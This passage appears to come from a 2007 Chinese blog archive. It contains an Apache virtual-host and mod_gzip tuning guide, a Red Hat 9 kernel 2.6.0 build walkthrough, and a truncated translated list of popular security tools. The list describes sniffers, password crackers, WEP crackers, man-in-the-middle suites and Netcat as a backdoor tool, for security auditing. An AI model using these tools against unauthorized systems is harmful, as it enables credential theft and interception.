#NoCache a_domain.com another_domain.edu joes.garage_sale.com

  Apache服务器本身就具备代理的功能,然而这要求加载入mod_proxy模块。这能使用IfModule语句进行判断,如果存在mod_proxy模块,就使用 ProxyRequests打开代理支持。此后的Directory用于设置对Proxy功能的访问权限设置,以及用于设置缓冲的各个参数设置。

虚拟主机
#NameVirtualHost 12.34.56.78:80
#NameVirtualHost 12.34.56.78
# ServerAdmin webmaster@host.some_domain.com
# DocumentRoot /www/docs/host.some_domain.com
# ServerName host.some_domain.com
# ErrorLog logs/host.some_domain.com-error_log
# CustomLog logs/host.some_domain.com-access_log common

  缺省设置文件中的这些内容是用于设置命名基础的虚拟主机服务器时使用。其中NameVirtualHost 来指定虚拟主机使用的IP地址,这个IP地址将对应多个 DNS名字,如果Apache使用了Listen 参数控制了多个端口,那么就可以在这里加上端口号以进一步进行区分对不同端口的不同连接请求。此后,使用 VirtualHost 语句,使用NameVirtualHost指定的IP地址作参数,对每个名字都定义对应的虚拟主机设置。
  虚拟主机是在一台Web服务器上,可以为多个单独域名提供Web服务,并且每个域名都完全独立,包括具有完全独立的文档目录结构及设置,这样域名之间完全独立,不但使用每个域名访问到的内容完全独立,并且使用另一个域名无法访问其他域名提供的网页内容。
  虚拟主机的概念非常有用,因为虽然一个组织可以将自己的网页挂在具备其他域名的服务器上的下级往址上,但使用独立的域名和根网址更为正式,易为众人接受。传统上,必须自己设立一台服务器才能达到单独域名的目的,然而这需要维护一个单独的服务器,很多小单位缺乏足够的维护能力,更为合适的方式是租用别人维护的服务器。没有必要为一个机构提供一个单独的服务器,完全可以使用虚拟主机能力,使服务器为多个域名提供Web服务,而且不同的服务互不干扰,对外就表现为多个不同的服务器。
  有两种设定虚拟主机的方式,一种是基于HTTP 1.0标准,需要一个具备多IP地址的服务器,再配置DNS 服务器,给每个IP地址以不同的域名,最后才能配置Apache的配置文件,使服务器对不同域名返回不同的Web文档。由于这需要使用额外的IP地址,对每个要提供服务的域名都要使用单独的IP地址,因此这种方式实现起来问题较多。可以在一个网络界面上绑定多个IP地址,Linux下需要使用ifconfig的 alias参数来进行这个配置,但此时会影响网络性能。

  HTTP 1.1标准在协议中规定了对浏览器和服务器通信时,服务器能够跟踪浏览器请求的是哪个主机名字。因此可以利用这个新特性,使用更轻松的方式设定虚拟主机。这种方式不需要额外的IP地址,但需要新版本的浏览器支持。这种方式已经成为建立虚拟主机的标准方式。要建立非IP基础的虚拟主机,多个域名是不可少的配置,因为每个域名就对应一个要服务的虚拟主机。因此需要更改DNS服务器的配置,为服务器增加多个C NAME选项,如:
linux IN A 192.168.1.64
vhost1 IN CNAME linux
vhost2 IN CNAME linux
 基本的设置选项都是为了linux主机设定的,如果要为vhost1和vhost2设定虚拟主机,就要使用VirtualHost语句定义不同的选项,在语句中可以使用配置文件前面中的大部分选项,而可以重新定义几乎所有的针对服务器的设置。

NameVirtualHost 192.168.1.64
DocumentRoot /www/data
ServerName linux.example.org.cn
DocumentRoot /vhost1
ServerName vhost1.example.org.cn
DocumentRoot /vhost2
ServerName vhost2.example.org.cn

  这里需要注意的是,VirtualHost的参数地址一定要和NameVirtualHost定义的地址相一致,必须保证所有的值严格一致,Apache服务器才承认这些定义是为这个IP地址定义的虚拟主机。

  此外,定义过NameVirtualHost之后,那么对这个IP地址的访问都被区分不同的虚拟主机进行处理,而对其他IP地址的访问,例如127.0.0.1,才应用前面定义的缺省选项。

另外一些加速方法

1、 Web 页面和 CGI 页面采用了浏览器缓冲技术。具体的方法可以参考附录一:采用 mod_gzip 加速Apache
2、 不要让 X Windows 运行在你的 Web 服务器上,用 Ctrl-Alt-Backspace 关闭 X 。
3、 在 CGI 脚本中:
文件 I/O:打开的文件数目越少越好。
Shell 命令:采用全路径来调用 shell 命令。
在Web 页面目录中,不要让文件数超过 1000 个,文件越多花费在定位上的时间也越多。
4、 在 Web 服务器上的图片越少越好,保证每个图片都经由图片压缩器运行。
5、 应该配置尽量多的内存,内存的大小对系统性能影响非常大。
6、 可以用strace命令调试调用。
当你不确定httpd.conf里的设置更改对进程的影响时,strace或许能奏效,通过观察输出的行数,可以判断对一个固定页面访问时需要的调用数。如:
#ps –ef|grep http
#strace –p http_pid
accept(18, 0xFFBEFA50, 0xFFBEFA74, 1) = 3
fcntl(24, F_SETLKW, 0x001D0E10) = 0
sigaction(SIGUSR1, 0xFFBEF908, 0xFFBEF98 = 0
getsockname(3, 0xFFBEFA60, 0xFFBEFA74, 1) = 0
setsockopt(3, 6, 1, 0xFFBEF9C4, 4, 1) = 0
read(3, " G E T / c a s e i n c".., 4096) = 590
sigaction(SIGUSR1, 0xFFBED800, 0xFFBED880) = 0
time() = 1043377552
stat("/docroot/osc-new/www/caseincident/listCase.php", 0x0022BF5 = 0
umask(077) = 0
umask(0) = 077
setitimer(ITIMER_PROF, 0xFFBEF628, 0x00000000) = 0
sigaction(SIGPROF, 0xFFBEF4F8, 0xFFBEF57 = 0
sigprocmask(SIG_UNBLOCK, 0xFFBEF618, 0x00000000) = 0
getsockopt(6, 65535, 8192, 0xFFBE67B0, 0xFFBE67AC, 0) = 0
setsockopt(6, 65535, 8192, 0xFFBE67B0, 4, 0) = 0
setitimer(ITIMER_PROF, 0xFFBEF788, 0x00000000) = 0
sigaction(SIGUSR1, 0xFFBEF908, 0xFFBEF98 = 0
read(3, 0x001E5BC0, 4096) (sleeping…)

附录一、采用 mod_gzip 加速Apache
说明:本附录为全文引用,时间限制,未经测试。

我们知道 mod_gzip 是用来在服务器端把客户请求的内容压缩后发送给客户端的一个 Apache 模块。本站的 Zope 通过 FastCGI 来实现和 Apache 的结合,Apache 是解析 HTML 页面的服务程序。安装好 mod_gzip 后就即能压缩普通静态页面也能压缩 Zope 文档。

一、安装
http://www.hyperspacecommunications.com/products/mod_gzip.html
页面上有 mod_gzip 的二进制码版本和源码下载。如果你使用前者的话,直接把文件拷贝到 Apache Home 的 libexec 目录下就可以了。下载 mod_gzip.c 后,如果你的 Apache 用 DSO 模式安装的话,用下面简单的命令就可以安装了:
# /www/bin/apxs -i -a -c mod_gzip.c

二、配置

安装完毕以后把下列配置加入httpd.conf :
# mod_gzip 配置
LoadModule gzip_module libexec/mod_gzip.so
AddModule mod_gzip.c

mod_gzip_on Yes
mod_gzip_minimum_file_size 1002
mod_gzip_maximum_file_size 0
mod_gzip_maximum_inmem_size 60000
mod_gzip_item_include mime "application/x-httpd-php"
mod_gzip_item_include mime "text/*"
# 压缩 Zope 的内容:
mod_gzip_item_include file "[^.]*$"
mod_gzip_item_include mime "httpd/unix-directory"
mod_gzip_dechunk Yes
mod_gzip_temp_dir "/tmp"
mod_gzip_keep_workfiles No
mod_gzip_item_include file ".php$"
mod_gzip_item_include file ".txt$"
mod_gzip_item_include file ".html$"
mod_gzip_item_exclude file ".css$"
mod_gzip_item_exclude file ".js$"

并添加下面的行:

LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i" mod_gzip: %{mod_gzip_compression_ratio}npct." mod_gzip

把对应虚拟主机配置中的日志文件参数修改为 mod_gzip

三、压缩效果
这样,我们得到类似以下的日志文件:
61.169.41.13 – – [02/Mar/2002:01:24:29 -0500] "GET /pipermail/freelamp/2002-March/000026.html HTTP/1.1" 200 72848 "http://www.freelamp.com/pipermail/freelamp/2002-March/subject.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; NetCaptor 6.5.0)" mod_gzip: 54pct.
61.169.41.13 – – [02/Mar/2002:01:24:52 -0500] "GET /new/publish/1003233602/index_html HTTP/1.1" 200 4304 "http://www.freelamp.com/new/publish/search?subject=Zope&op=articles" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; NetCaptor 6.5.0)" mod_gzip: 65pct.
61.169.41.13 – – [02/Mar/2002:01:24:53 -0500] "GET /new/publish/global_css HTTP/1.1" 200 629 "http://www.freelamp.com/new/publish/1003233602/index_html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; NetCaptor 6.5.0)" mod_gzip: 73pct.
61.169.41.13 – – [02/Mar/2002:01:24:54 -0500] "GET /new/publish/Images/sitetitle_img HTTP/1.1" 304 0 "http://www.freelamp.com/new/publish/1003233602/index_html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; NetCaptor 6.5.0)" mod_gzip: 0pct.

61.169.41.13 – – [02/Mar/2002:01:26:21 -0500] "GET /new/publish/index_html HTTP/1.1" 200 7317 "http://www.freelamp.com/new/publish/1003233602/index_html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; NetCaptor 6.5.0)" mod_gzip: 80pct.
61.169.41.13 – – [02/Mar/2002:01:26:22 -0500] "GET /new/publish/global_css HTTP/1.1" 200 629 "http://www.freelamp.com/new/publish/index_html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; NetCaptor 6.5.0)" mod_gzip: 73pct.
61.169.41.13 – – [02/Mar/2002:01:26:24 -0500] "GET /new/publish/TopicImages/Tutorial HTTP/1.1" 304 0 "http://www.freelamp.com/new/publish/index_html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; NetCaptor 6.5.0)" mod_gzip: 0pct.
61.169.41.13 – – [02/Mar/2002:01:26:24 -0500] "GET /new/publish/LinkImages/jsp001_img HTTP/1.1" 304 0 "http://www.freelamp.com/new/publish/index_html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; NetCaptor 6.5.0)" mod_gzip: 0pct.

我们看到 mod_gzip 已经对 .html 和那些没有点的文件作了压缩,压缩率达到了 70-80%。但是,mod_gzip 对图片文件不作压缩。

四、总结
结合,mod_gzip 和缓冲工具等,我们完全可以使一台配置较低的 PC 有足够的能力处理各种 HTML/CGI 等的请求。

相关日志

十月 17th, 2007

Posted In: 未分类

下载源代码

Linux内核总是不断发展的,最新的内核Kernel2.6.0对USB2.0予以正式的支持,以及内核模块文件后缀最显著的一个变化由*.o到*.ko等等,我们可以从www.kernel.org下载到tarball的源代码包。

前期准备

大家都知道的要先升级“module-init-tools“软件包,否则的话,等你安装内核模块文件的时候,系统会提示你:Warning: you may need to install module-init-tools See http://www.codemonkey.org.uk/post-h…4.21-23.src.rpm。

进入下载目录下并安装:

#rpm -e –nodeps modutils (强行卸载原有的modutilsRPM包)  #rpm -ivh modutils-2.4.21-23.src.rpm (把源代码包安装到了 /usr/src/redhat目录下)  #cd /usr/src/redhat/SPECS (进入规范文件目录下)  #rpmbuild –bb modutils.spec (生成二进制的RPM包)  #cd ../RPMS/i386 (转入刚生成的二进制的RPM包所在位置)  #rpm -ivh modutils*.rpm (刚生成两个[modutils-2.4.21-23.i386.rpm 与modutils-debuginfo-2.4.21.23.i386.rpm]二进制的RPM包,一起安装吧!)

因为是在RedHat9.0的平台,RedHat的用户可能还会遇到一些麻烦,我会慢慢说的,除了要以上的升级之外,还有个文件(/etc/rc.d/rc.sysinit)可能有缺陷,因为/proc/ksyms文件在新内核(Kernel2.6.0)中已经没有了,打开文件命令如下:

#vi /etc/rc.d/rc.sysinit  找到:  if ! LC_ALL=C grep -iq nomodules /proc/cmdline 2>/dev/null && [ -f /proc/ksyms ]; then  USEMODULES=y  fi  替换成:  if ! LC_ALL=C grep -iq nomodules /proc/cmdline 2>/dev/null; then  USEMODULES=y  fi

也就是把“&& [ -f /proc/ksyms ]”去掉,保存文件(操作之前最好做备份以免删错,这个文件是系统初始脚本,重要的很),这样子内核才能加载模块,当然能启动iptable防火墙了,否则防火墙在新内核中启动时红色的“failed“非常醒目。(请在新内核中核查/proc/sys/kernel/modprobe中的内容是不是: /sbin/modprobe,也可手工注入指令:#echo "/sbin/modprobe" > /proc/sys/kernel/modprobe)。下面开始构造新内核。

一、准备源代码

1、下载到tarball包之后,将内核tarball包复制到/usr/src目录下,假定包在当前目录中,运行以下命令:

#cp linux-2.6.0.tar.gz /usr/src

2、转到/usr/src目录并解开tarball包。

#cd /usr/src  #tar xvzf linux-2.6.0.tar.gz

3、如果你还下载了补丁包,则打上补丁,你也可以运行scripts/patch-kernel脚本文件自动打上补丁(准备好补丁包)或 #zcat patch-2.6.0.gz|patch -p1。

二、定制内核

定制内核是门很大的学问,需要大量的硬件知识,特别是2.6.0的内核,如果你从 2.4.N配置文件装载进去的,的确,很多人遇到过麻烦。我是重新配置文件(X窗口服务器进行),配制内核之前请清理源代码树,如果还没有进入 /usr/src/linux-2.6.0目录,请进入此目录,命令如下:

#make mrproper (刚解开的tarball包不需此步骤)  #make gconfig (需要Gtk开发库的支持)  或make config  或make xconfig(需要Qt开发库的支持)

注意:如果你是ext3文件系统,则在定制内核配置文件时把对Ext3、Ext2文件的支持直接编译进内核,否则,等你启用新内核时机器就会当掉,出错信息如下:kernel panic : no init found ,try passing init = option to kernel……或者是:kernel panic:VFS:Unable to mount root fs on unknown-block(0,0),我一开始不知道,编译了好几次,系统总给我冷板凳坐,最后把对Ext3、Ext2文件系统的支持直接编译进内核,才解决此问题,还有把对“Module unloading“选项也选上,否则的话,你在新内核环境下无法卸载内核模块(rmmod命令不能用)。

三、编译内核及模块

定制好的内核配置文件(/usr/src/linux- 2.6.0/.config)之后,激动的时刻到来了,编译内核及模块,#make (此命令已完成make bzImage及make modules的工作),bzImage内核文件在arch/i386/boot目录中,你的CPU不同内核文件存放位置也不同,我是Intel的 CPU。

注意:我在RedHat7.2平台时曾出现无法编译的出错信息,出错信息如下:

/tmp/cc2Hu7sH.s:3: Error: Unknown pseudo-op: `.incbin'  make[1]: *** [usr/initramfs_data.o] Error 1  make: *** [usr] Error 2,

重新装了个9.0的才解决此问题。说明:make命令在我的1.6GHz,128MB的机器上跑了足足27分钟。

四、安装模块及内核文件

#make modules_install install

以上这个命令可以分解成make modules_install与make install,make modules_install安装内核模块到/lib/modules/2.6.0下。make install完成mkinitrd命令及内核(bzImage)和System.map的拷贝,请查看/boot目录,文件名是有区别的,如是GRUB 引导器,make install命令已帮你自动修改了引导选项,对于LILO则要手工修改,重写引导记录。

说明:make modules_install install这个命令在我的1.6GHz,128M的机器上只跑了三十几秒,很快的哦。

五、后记

最后的工作就是重启系统(#shutdown -r now),检验一下你的劳动成果吧。差点忘了还有一点,可能对你很重要,进入新内核之后我发现rpm命令不能用了,原来这是RPM的一个Bug,特别是对于RH9的用户,请打开/etc/profile文件,命令如下:

#vi /etc/profile (在文件的末尾加上几句如下)  if [`uname -r`="2.6.0" ];then  export LD_ASSUME_KERNEL=2.2.5 fi

也就是给系统加上一个全局的环境变量,也可直接键入#export LD_ASSUME_KERNEL=2.2.5。

使用新内核可能出现的问题及对策:

1、新内核根本起不来,解决方法:重新配置内核(学问挺大),也许还根引导记录有关(很少了)。

2、新内核模块无法加载,会导致很多问题,比如了防火墙没法工作了,mount不上光盘和vfat及ntfs文件系统,其解决方法:升级module- init-tools软件包(我是modutils-2.4.21- 23.src.rpm包),RedHat的用户可能还要修改/etc/rc.d/rc.sysinit文件。

3、RedHat用户rpm命令不能使用,解决办法:请把变量在全局配置文件中声明。

十月 17th, 2007

Posted In: 未分类

因为是在nmap-hackers邮件列表中做出的评选,因此没有把nmap安全扫描器(http://www.insecure.org/nmap/)评选在内。这次评选出来的75个最佳安全工具在网络安全领域都是一些很有代表性的软件,对于那些在网络安全方面不知从何处开始的新手们来说,这对他们有相当的参考价值。

工具:Nessus(最好的开放源代码风险评估工具)
网址:http://www.nessus.org/
类别:开放源码
平台:Linux/BSD/Unix
简介:Nessus是一款可以运行在Linux、BSD、Solaris以及其他一些系统上的远程安全扫描软件。它是多线程、基于插入式的软件,拥有很好的GTK界面,能够完成超过1200项的远程安全检查,具有强大的报告输出能力,可以产生HTML、XML、LaTeX和ASCII文本等格式的安全报告,并且会为每一个发现的安全问题提出解决建议。

工具:Ethereal(网络协议检测工具)
网址:http://www.ethereal.com/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Ethereal是一款免费的网络协议分析程序,支持Unix、Windows。借助这个程序,你既可以直接从网络上抓取数据进行分析,也可以对由其他嗅探器抓取后保存在硬盘上的数据进行分析。你能交互式地浏览抓取到的数据包,查看每一个数据包的摘要和详细信息。Ethereal有多种强大的特征,如支持几乎所有的协议、丰富的过滤语言、易于查看TCP会话经重构后的数据流等。

工具:Snort(免费的入侵检测系统)
网址:http://www.snort.org/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Snort是一款轻量级的网络入侵检测系统,能够在IP网络上进行实时的流量分析和数据包记录。它不仅能进行协议分析、内容检索、内容匹配,而且能用于侦测诸如缓冲溢出、隐秘端口扫描、CGI攻击、SMB探测、操作系统指纹识别等大量的攻击或非法探测。Snort使用灵活的规则去描述哪些流量应该被收集或被忽略,并且提供一个模块化的探测引擎。

工具:Netcat(网络瑞士军刀)
网址:http://www.atstake.com/research/tools/network_utilities/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能。

工具:TCPDump/WinDump(用于网络监测和数据收集的优秀嗅探器)
网址:http://www.tcpdump.org/,http://windump.polito.it/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Tcpdump是一款众人皆知和受人喜欢的基于命令行的网络数据包分析和嗅探工具。它能把匹配规则的数据包的包头给显示出来。你能使用这个工具去查找网络问题或者去监视网络上的状况。WinDump是Tcpdump在Windows平台上的移植版。

工具:Hping2(类似ping的网络探测工具)
网址:http://www.hping.org/
类别:开放源码
平台:Linux/BSD/Unix
简介:hping2能发送自定义的ICMP/UDP/TCP包到目标地址并且显示包的响应情况。它有一个方便的traceroute模式,并且支持IP分片。这个工具在traceroute、ping和探测防火墙后的主机时特别有用。

工具:DSniff(一流的网络审计和渗透测试工具)
网址:http://naughty.m&#111nkey.org/~dugsong/dsniff/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:DSniff是由Dug Song开发的一套包含多个工具的软件套件。其中,dsniff、filesnarf、mailsnarf、msgsnarf、rlsnarf和webspy可以用于监视网络上我们感兴趣的数据(如口令、e-mail、文件等),arpspoof、dnsspoof和macof能很容易地载取到攻击者通常难以获取的网络信息(如二层交换数据),sshmitm和webmitm则能用于实现重写SSH和HTTPS会话达到m&#111nkey-in-the-middle攻击。在http://www.datanerds.net/~mike/dsniff.html可以找到Windows平台上的移植版。

工具:GFI LANguard(商业化的网络安全扫描软件)
网址:http://www.gfi.com/lannetscan/
类别:商业
平台:Windows
简介:LANguard扫描网络并且得出诸如每台机器的服务包等级、缺少的安全补丁、打开的共享、开放的端口、正在运行的服务和应用程序、注册表键值、弱口令、用户和组等扫描信息的报告。扫描结果输出为一个HTML格式的报告,报告能够自定义。

工具:Ettercap(为你的交换环境提供更多的安全)
网址:http://ettercap.sourceforge.net/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Ettercap是一款以太网环境下的网络监视、拦载和记录工具,支持多种主动或被动的协议分析(甚至跟加密相关的SSH、HTTPS等),有数据插入、过滤、保持连接同步等多种功能,也有一个能支持多种嗅探模式的、强大而完整的嗅探套件,支持插件,能够检查网络环境是否是交换局域网,并且能使用主动或被动的操作系统指纹识别技术让你了解当前局域网的情况。

工具:Whisker/Libwhisker(CGI缺陷扫描软件和库)
网址:http://www.wiretrip.net/rfp/p/doc.asp/d21.htm
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Whisker是一款非常好的HTTP服务器缺陷扫描软件,能扫描出大量的已知安全漏洞,特别是些危险的CGI漏洞。Libwhisker是一个用perl编写的由Whiskerr使用的程序库,通过它你可以创建自己HTTP扫描器。

工具:John the Ripper(格外强大、灵活、快速的多平台哈希口令破解器)
网址:http://www.openwall.com/john/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:John the Ripper是一个快速的口令破解器,支持多种操作系统,如Unix、DOS、Win32、BeOS和OpenVMS等。它设计的主要目的是用于检查Unix系统的弱口令,支持几乎所有Unix平台上经crypt函数加密后的口令哈希类型,也支持Kerberos AFS和Windows NT/2000/XP LM哈希等。

工具:OpenSSH/SSH(访问远程计算机的一种安全方法)
网址:http://www.openssh.com/,http://www.ssh.com/commerce/index.html
类别:开放源码/商业
平台:Linux/BSD/Unix/Windows
简介:SSH(Secure Shell)是一款用来登录远程服务器并在远程服务器上执行命令的程序,在缺少安全防护的网络上它能给两台互不信任的主机间提供安全可靠的加密通讯。X11连接和其他任意的TCP/IP端口连接都可以通过SSH进行数据封装转发到一个安全的通道里。SSH开发的本意是用于代替rlogin、rsh和rcp这些不安全的程序,以及为rdist和rsync提供安全通道。需要注意的是,OpenSSH是SSH的替代软件,SSH对于某些用途是要收费的,但OpenSSH总是免费。

工具:Sam Spade(Windows平台上的免费网络查询工具)
网址:http://www.samspade.org/ssw/
类别:免费软件
平台:Windows
简介:SamSpade提供了一个友好的GUI界面,能方便地完成多种网络查询任务,它开发的本意是用于追查极品邮件制造者,但也能用于其它大量的网络探测、网络管理和与安全有关的任务,包括ping、nslookup、whois、dig、traceroute、finger、raw HTTP web browser、DNS zone transfer、SMTP relay check、website search等工具,在它的网站还有大多数查询工具的一个在线版本(http://www.samspade.org/t/)。

工具:ISS Internet Scanner(应用层风险评估工具)
网址:http://www.iss.net/products_services/enterprise_protection
/vulnerability_assessment/scanner_internet.php
类别:商业
平台:Windows
简介:互联网扫描器(Internet Scanner)始于1992年一个小小的开放源代码扫描器,它是相当不错的,但价格昂贵,使用开源软件Nessus来代替它也是一个不错的选择。

工具:Tripwire(功能强大的数据完整性检查工具)
网址:http://www.tripwire.com/
类别:商业
平台:Linux/BSD/Unix/Windows
简介:Tripwire是一款文件和目录完整性检查工具,它能帮助系统管理员和用户监视一些重要文件和目录发生的任何变化。通过制定一些基本的系统策略,在文件遭到破坏或篡改时由Tripwire通知系统管理员,从而能及时地做出处理。Tripwire的商业版本非常昂贵,在Tripwire.Org网站有一个免费的开放源代码的Linux版本,UNIX用户也可能需要考虑AIDE(http://www.cs.tut.fi/~rammer/aide.html),它是Tripwire的免费替代品。

工具:Nikto(一款非常全面的web扫描器)
网址:http://www.cirt.net/code/nikto.shtml
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Nikto是一款能对web服务器多种安全项目进行测试的扫描软件,能在200多种服务器上扫描出2000多种有潜在危险的文件、CGI及其他问题。它也使用LibWhiske库,但通常比Whisker更新的更为频繁。

工具:Kismet(强大的无线嗅探器)
网址:http://www.kismetwireless.net/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Kismet是一款802.11b网络嗅探和分析程序,功能有:支持大多数无线网卡,能通过UDP、ARP、DHCP数据包自动实现网络IP阻塞检测,能通过Cisco Discovery协议列出Cisco设备,弱加密数据包记录,和Ethereal、tcpdump兼容的数据包dump文件,绘制探测到的网络图和估计网络范围。

工具:SuperScan(Windows平台上的TCP端口扫描器)
网址:http://www.foundstone.com/index.htm?subnav=resources/
navigation.htm&subcontent=/resources/proddesc/superscan.htm
类别:免费
平台:Windows
简介:SuperScan是一款具有TCP connect端口扫描、Ping和域名解析等功能的工具,能较容易地做到对指定范围内的IP地址进行ping和端口扫描。源代码不公开。

工具:L0phtCrack 4(Windows口令审计和恢复程序)
网址:http://www.atstake.com/research/lc/
类别:商业
平台:Linux/BSD/Unix/Windows
简介:L0phtCrack试图根据从独立的Windows NT/2000工作站、网络服务器、主域控制器或Active Directory上正当获取或者从线路上嗅探到的加密哈希值里破解出Windows口令,含有词典攻击、组合攻击、强行攻击等多种口令猜解方法。

工具:Retina(eEye公司的风险评估扫描工具)
网址:http://www.eeye.com/html/Products/Retina/index.html
类别:商业
平台:Windows
简介:像上面提到的Nessus和ISS Internet Scanner一样,Retina的功能也是用于扫描网络内所有的主机并且报告发现的每一个缺陷。

工具:Netfilter(当前Linux内核采用的包过滤防火墙)
网址:http://www.netfilter.org/
类别:开放源码
平台:Linux
简介:Netfilter是一款功能强大的包过滤防火墙,在标准的Linux内核内得到实现,iptables是防火墙配置工具。它现在支持有状态或无状态检测的包过滤,支持所有种类的NAT和包分片。相应的,对于非Linux平台上的防火墙,OpenBSD平台上有pf,UNIX平台上有ipfilter,Windows平台上有Zone Alarm个人防火墙。

工具:traceroute/ping/telnet/whois(基本命令)
网址:
类别:免费
平台:Linux/BSD/Unix/Windows
简介:当我们使用大量的高水平的工具来辅助安全审计工作时,别忘了这几个最基本的工具。我们每个人都应非常熟悉这几个工具的用法,几乎所有的操作系统上都附带有这几个工具,不过Windows平台上没有whois工具,并且traceroute改名为tracert。

工具:Fport(增强的netstat)
网址:http://www.foundstone.com/index.htm?subnav=resources/
navigation.htm&subcontent=/resources/proddesc/fport.htm
类别:免费
平台:Windows
简介:Fport能显示主机上当前所有打开的TCP/IP、UDP端口和端口所属的进程,因此通过使用它能即刻发现未知的开放端口和该端口所属的应用程序,是一款查找木马的好工具。不过,Fport仅支持Windows系统,在许多UNIX系统上有一个netstat命令实现类似功能,Linux系统上用"netstat -pan"命令。源代码不公开。

工具:SAINT(安全管理员的综合网络工具)
网址:http://www.saintcorporation.com/saint/
类别:商业
平台:Linux/BSD/Unix
简介:Saint是一款商业化的风险评估工具,但与那些仅支持Windows平台的工具不同,SAINT运行在UNIX类平台上,过去它是免费并且开放源代码的,但现在是一个商业化的产品。

工具:Network Stumbler(免费的Windows平台802.11嗅探器)
网址:http://www.stumbler.net/
类别:免费
平台:Windows
简介:Netstumbler是最有名的寻找无线接入点的工具,另一个支持PDA的WinCE平台版本叫Ministumbler。这个工具现在是免费的,仅仅支持Windows系统,并且源代码不公开,而且该软件的开发者还保留在适当的情况下对授权协议的修改权。UNIX系统上的用户可以使用Kismet来代替。

工具:SARA(安全管理员的辅助工具)
网址:http://www-arc.com/sara/
类别:开放源码
平台:Linux/BSD/Unix
简介:SARA是一款基于SATAN安全扫描工具开发而来的风险评估工具,每月更新两次。

工具:N-Stealth(web服务器扫描工具)
网址:http://www.nstalker.com/nstealth/
类别:商业
平台:Windows
简介:N-Stealth是一款商业化的Web服务器安全扫描软件,通常它比whisker、nikto等免费的web扫描器升级的更为频繁。N-Stealth开发商宣称的"超过20,000条的缺陷和exploit数据"和"每天新增大量的缺陷检查"是非常可疑的。我们也要注意到,在nessus、ISS、Retina、SAINT和SARA等所有常见的风险评估工具里已含有web扫描组件,不过它们可能没有N-Stealth这样灵活易用和更新频繁。n-stealth不公开源代码。

工具:AirSnort(802.11 WEP密码破解工具)
网址:http://airsnort.shmoo.com/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:AirSnort是一款无线局域网密钥恢复工具,由Shmoo小组开发。它监视无线网络中的传输数据,当收集到足够多的数据包时就能计算出密钥。

工具:NBTScan(从Windows网络上收集NetBIOS信息)
网址:http://www.inetcat.org/software/nbtscan.html
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:NBTscan是一个用于扫描网络上NetBIOS名字信息的程序。这个程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,它列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。

工具:GnuPG/PGP(保护你的文件和通信数据的先进加密程序)
网址:http://www.gnupg.org/,http://www.pgp.com/
类别:开放源码/商业
平台:Linux/BSD/Unix/Windows
简介:PGP是由Phil Zimmerman开发的著名加密程序,它使用公钥加密算法和常规的加密技术相结合,能将加密后的文件安全地从一地传递到另一地,从而保护用户的数据免于窃听或其他的安全风险。GnuPG是遵照PGP标准开发的开源程序,不同的是,GnuPG是永远免费的,而PGP对于某些用途要收费。

工具:Firewalk(高级的traceroute)
网址:http://www.packetfactory.net/projects/firewalk/
类别:开放源码
平台:Linux/BSD/Unix
简介:Firewalk使用类似traceroute的技术来分析IP包的响应,从而测定网关的访问控制列表和绘制网络图。2002年10月,这个一流的工具在原来的基础上进行了重新开发。需要注意到的是,Firewalk里面的大多数功能也能由Hping2的traceroute选项来实现。

工具:Cain & Abel(穷人的L0phtcrack)
网址:http://www.oxid.it/cain.html
类别:免费
平台:Windows
简介:Cain & Abel是一个针对Microsoft操作系统的免费口令恢复工具。它通过如下多种方式轻松地实现口令恢复:网络嗅探、破解加密口令(使用字典或强行攻击)、解码被打乱的口令、显示口令框、显示缓存口令和分析路由协议等。源代码不公开。

工具:XProbe2(主动操作系统指纹识别工具)
网址:http://www.sys-security.com/html/projects/X.html
类别:开放源码
平台:Linux/BSD/Unix
简介:XProbe是一款测定远程主机操作系统类型的工具。它依靠与一个签名数据库的模糊匹配以及合理的推测来确定远程操作系统的类型,利用ICMP协议进行操作系统指纹识别是它的独到之处。

工具:SolarWinds Toolsets(大量的网络发现、监视、攻击工具)
网址:http://www.solarwinds.net/
类别:商业
平台:Windows
简介:SolarWinds包含大量适合系统管理员做特殊用途的工具,与安全相关的工具包括许多的网络发现扫描器(network discovery scanner)和一个SNMP强力破解器。

工具:NGrep(方便的包匹配和显示工具)
网址:http://www.packetfactory.net/projects/ngrep/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:NGrep在网络层实现了GNU grep的大多数功能,基于pcap,可以使你通过指定扩展的正则表达式或十六进制表达式去匹配网络上的数据流量。它当前能够识别流经以太网、PPP、SLIP、FDDI、令牌网和回环设备上的TCP、UDP和ICMP数据包,并且和其他常见的嗅探工具(如tcpdump和snoop)一样,理解bpf过滤机制。

工具:Perl/Python(脚本语言)
网址:http://www.perl.org,http://www.python.org/
类别:开放源码
平台:Linux/BSD/Unix/Windows
